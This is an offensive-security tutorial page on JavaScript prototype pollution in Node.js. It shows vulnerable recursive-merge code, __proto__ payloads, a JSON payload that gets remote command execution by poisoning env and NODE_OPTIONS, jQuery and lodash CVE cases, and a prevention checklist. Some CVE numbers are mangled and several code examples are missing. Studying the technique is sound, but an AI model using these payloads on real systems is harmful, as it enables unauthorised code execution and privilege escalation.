hacktricks/nodejs-prototype-pollution.md
2020-11-26 13:37:00 +00:00

288 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NodeJS - Prototype Pollution
## Objects in JavaScript <a id="053a"></a>
First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:
![](.gitbook/assets/image%20%28398%29.png)
In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.
```javascript
console.log(Object.create(null)); // prints an empty object
```
![](.gitbook/assets/image%20%28393%29.png)
Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`
## Functions / Classes in Javascript <a id="55dd"></a>
In Javascript, the concepts of the class and the function are quite interrelated \(the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript\). Lets see the following example:
```javascript
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
}
```
![](.gitbook/assets/image%20%28400%29.png)
```javascript
var person1 = new person("Satoshi", 70);
```
![](.gitbook/assets/image%20%28397%29.png)
## Prototypes in JavaScript <a id="3843"></a>
One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:
![](.gitbook/assets/image%20%28394%29.png)
Functions of the class can also be modified \(like `toString` or `valueOf` the following cases\):
![](.gitbook/assets/image%20%28399%29.png)
![](.gitbook/assets/image%20%28396%29.png)
## Inheritance
In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.
Note that, if you add a property to an object that is used as the prototype for a set of objects \(like the myPersonObj\), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.
![](.gitbook/assets/image%20%28395%29.png)
## \_\_proto\_\_ pollution <a id="0d0a"></a>
You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!**
This is fairly simple, you just need to be able to modify some properties \(key-value pairs\) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
```
From the previous example it's possible to access the structure of Object using the following ways:
```javascript
person1.__proto__.__proto__
person.__proto__.__proto__
```
So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
person1.printHello() //This now works and prints hello
//Add constant as new property
person1.__proto__.__proto__.globalconstant = true
person1.globalconstant //This now works and is "true"
```
So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant`
## prototype pollution
This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**.
If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:**
```javascript
function person(fullName) {
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person.prototype.sayHello = function(){console.log("Hello");}
person1.sayHello() //This now works and prints hello
//Add constant as new property
person.prototype.newConstant = true
person1.newConstant //This now works and is "true"
//The same could be achieved using this other way:
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
person1.constructor.prototype.newConstant = true
```
In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**.
**There are 2 ways to abuse prototype pollution to poison EVERY JS object.**
The first one would be to pollute the property prototype of **Object** \(as it was mentioned before every JS object inherits from this one\):
```javascript
Object.prototype.sayBye = function(){console.log("bye!")}
```
If you manage to do that, each JS object will be able to execute the function `sayBye`.
The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:
```javascript
something = {"a": "b"}
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
```
After executing that code, **each JS object will be able to execute the function `sayHey`**.
## Examples
### Basic Example
So wheres the prototype pollution? It happens when theres a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following:
```javascript
if (user.isAdmin) { // do something important!}
```
Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
For example, `obj[a][b] = value`. If the attacker can control the value of `a` and `value`, then he only needs to adjust the value of `a`to `__proto__`\(in javascript, `obj["__proto__"]` and `obj.__proto__`are completely equivalent\) then property `b` of all existing objects in the application will be assigned to `value`.
However, the attack is not as simple as the one above, according to [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), we can only attack when one of the following three conditions is met:
* Perform recursive merge
* Property definition by path
* Clone object
### RCE Example
Imagine a real JS using some code like the following one:
```javascript
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
clone(USERINPUT);
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
You can observe that the merge function is coping one by one all the key-value pairs from a dictionary into another one. This may seem secure, but it isn't as the copy of the `__proto__` or `prototype` properties from a dictionary into an object may modify completely the structure of the rest of the JS objects \(as it was previously explained\).
#### RCE abusing environmental variables
This trick was taken from [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/).
Basically, **if a new process** using node is **spawned** and you are able to **poison the environmental variables** it's possible to **execute arbitrary commands**.
It's also **possible to poison environmental variables** y setting the **`env`** property in some object inside JS.
For more information about why this works read the previously indicated URL.
You can poison all the objects `env` property abusing `__proto__`:
```javascript
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hackermate').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
Or all the objects abusing `prototype`from a dictionary `constructor`:
```javascript
b = {"name": "Cat"}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
Executing any of the **last 2 chunks of code** \(and creating some `VersionCheck.js` file\) the file `/tmp/hacktricks` is going to be created.
Going back to the initial example if you substitute the `USERINPUT` with the following line arbitrary command execution will be achieved:
```javascript
{"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}}
```
### CVE-201911358: Prototype pollution attack through jQuery $ .extend
$ .extend, if handled incorrectly, can change the properties of the object `prototype`\(the template of the objects in the app\). This attribute will then appear on all objects. Note that only the “deep” version \(ie g\) of $ .extened is affected.
Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:
We can imagine `myObject`is an input field from the user and is serialized into the DB\)
In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check:
```javascript
If (user.isAdmin === true) {
// do something for admin
}
```
If the user has not yet existed \( `undefined`\), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above.
Another example when executed on JQuery 3.3.1:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
```
These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.
### CVE-20183721, CVE-201910744: Prototype pollution attack through lodash
[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.
**CVE-20183721**
**CVE-201910744**
This bug affects all versions of Lodash, already fixed in version 4.17.11.
### What can I do to prevent?
* Freeze properties with Object.freeze \(Object.prototype\)
* Perform validation on the JSON inputs in accordance with the applications schema
* Avoid using recursive merge functions in an unsafe manner
* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain
* Use `Map`instead of `Object`
* Regularly update new patches for libraries
## Reference
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)